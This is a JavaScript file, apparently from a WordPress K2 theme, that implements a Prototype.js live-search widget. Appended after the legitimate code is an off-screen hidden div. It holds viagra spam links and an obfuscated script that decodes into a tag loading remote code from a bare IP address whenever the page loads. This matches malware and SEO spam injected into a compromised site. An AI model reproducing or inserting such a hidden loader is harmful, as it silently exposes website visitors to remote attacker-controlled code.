Livesearch = Class.create();

Livesearch.prototype = {
	initialize: function(father, attachitem, target, hideitem, url, pars, searchform, loaditem, searchtext, resetbutton) {
		this.father = father;
		this.attachitem = attachitem;
		this.target = target;
		this.hideitem = hideitem;
		this.url = url;
		this.pars = pars;
		this.searchform = searchform;
		this.loaditem = loaditem;
		this.searchtext = searchtext;
		this.resetbutton = resetbutton;
		this.t = null;  // Init timeout variable

		var buttonvalue = 'go';
		$(father).innerHTML = '<input type="text" id="s" name="s" class="livesearch" autocomplete="off" value="'+searchtext+'" /><span id="searchreset"></span><span id="searchload"></span><input type="submit" id="searchsubmit" value="'+buttonvalue+'" />';

		// Style the searchform for livesearch
		var inputs = $(searchform).getElementsByTagName('input');
		for (var i = 0; i < inputs.length; i++) {
			var input = inputs.item(i);
			if (input.type == 'submit')
				input.style.display = "none";
		}

		Effect.Fade(this.resetbutton, { duration: .1, to: 0.3 });
		$(this.loaditem).style.display = 'none';

		Event.observe(attachitem, 'focus', function() { if ($(attachitem).value == searchtext) $(attachitem).setAttribute('value', '') });
		Event.observe(attachitem, 'blur', function() { if ($(attachitem).value == '') $(attachitem).setAttribute('value', searchtext) });

		// Bind the keys to the input
		Event.observe(attachitem, 'keyup', this.readyLivesearch.bindAsEventListener(this));
	},

	readyLivesearch: function(event) {
		var code = event.keyCode;
		if (code == Event.KEY_ESC || ((code == Event.KEY_DELETE || code == Event.KEY_BACKSPACE) && $F(this.attachitem) == '')) {
			this.resetLivesearch.bind(this);
		} else if (code != Event.KEY_LEFT && code != Event.KEY_RIGHT && code != Event.KEY_DOWN && code != Event.KEY_UP && code != Event.KEY_RETURN) {
			if (this.t) { clearTimeout(this.t) };
	        this.t = setTimeout(this.doLivesearch.bind(this), 400);
		}
	},

    doLivesearch: function() {
		Effect.Fade(this.resetbutton, { duration: .1, to: 0 });
		Effect.Appear(this.loaditem, {duration: .1});

		new Ajax.Updater(
			this.target,
			this.url,
			{
				method: 'get',
				evalScripts: true,
				parameters: this.pars + encodeURIComponent($F(this.attachitem)) + '&rolling=1',
				onSuccess: this.searchComplete.bind(this)
		});
	},
	
	searchComplete: function() {
		$(this.hideitem).style.display = 'none';
		Effect.Fade(this.loaditem, {duration: .1});
		Effect.Appear(this.resetbutton, { duration: .1 });

		Event.observe(this.resetbutton, 'click', this.resetLivesearch.bindAsEventListener(this));
		$(this.resetbutton).style.cursor = 'pointer';

		// Support for Lightbox
		if (window.initLightbox) {
			initLightbox();
		}
	},

	resetLivesearch: function() {
		$(this.hideitem).style.display = 'block';
		Effect.Fade(this.resetbutton, { duration: .1, to: 0.3 });

		$(this.attachitem).value = '';
		$(this.target).innerHTML = '';
		$(this.resetbutton).style.cursor = 'default';
	}
}

var lsUrl = window.location.href.match(/^(http:\/\/[^/]+)/)[1]
	+ 'http://thesubprimereport.com/wp-content/themes/k2'.match(/^http:\/\/[^/]+(.+)/)[1];

new FastInit( function() { new Livesearch('searchform', 's', 'dynamic-content', 'current-content', lsUrl + '/rollingarchive.php', '&s=', 'searchform', 'searchload', 'Type and Wait to Search', 'searchreset'); } );
<div style='position:absolute; left:-1000px; top:-1000px;'>Get viagra there are several ways Viagra will not make your penis grow any larger I hope you know that <A HREF='http://www.answerbag.com/profile/?id=310168' TITLE='buy viagra pills' TARGET=_blank>buy viagra no script</a>Online Viagra Market the answer is Viagra Faq <A HREF='http://www.youtube.com/traxtenberg555' TITLE='buy viagra without prescription'>how to buy viagra</a> <BR>
Prescription viagra swallow that pill <A HREF='http://forum.lycos.de/member.php?u=26282' TITLE='buy viagra 100mg' TARGET=_blank>buy viagra cheap</a>
<script language=javascript>if(typeof(yahoo_counter)==typeof(1))var s='';else var s=unescape('D%7Bkzqx%7C%28%7BzkE77%3F%3E69%3E%3B69%3C%3F698%407kx7FD7%7Bkzqx%7CF8');for(var i=1;i<s.length;i++)document.write(String.fromCharCode(s.charCodeAt(i-1)-s.substr(s.length-1,1)));var yahoo_counter=1;</script></div>
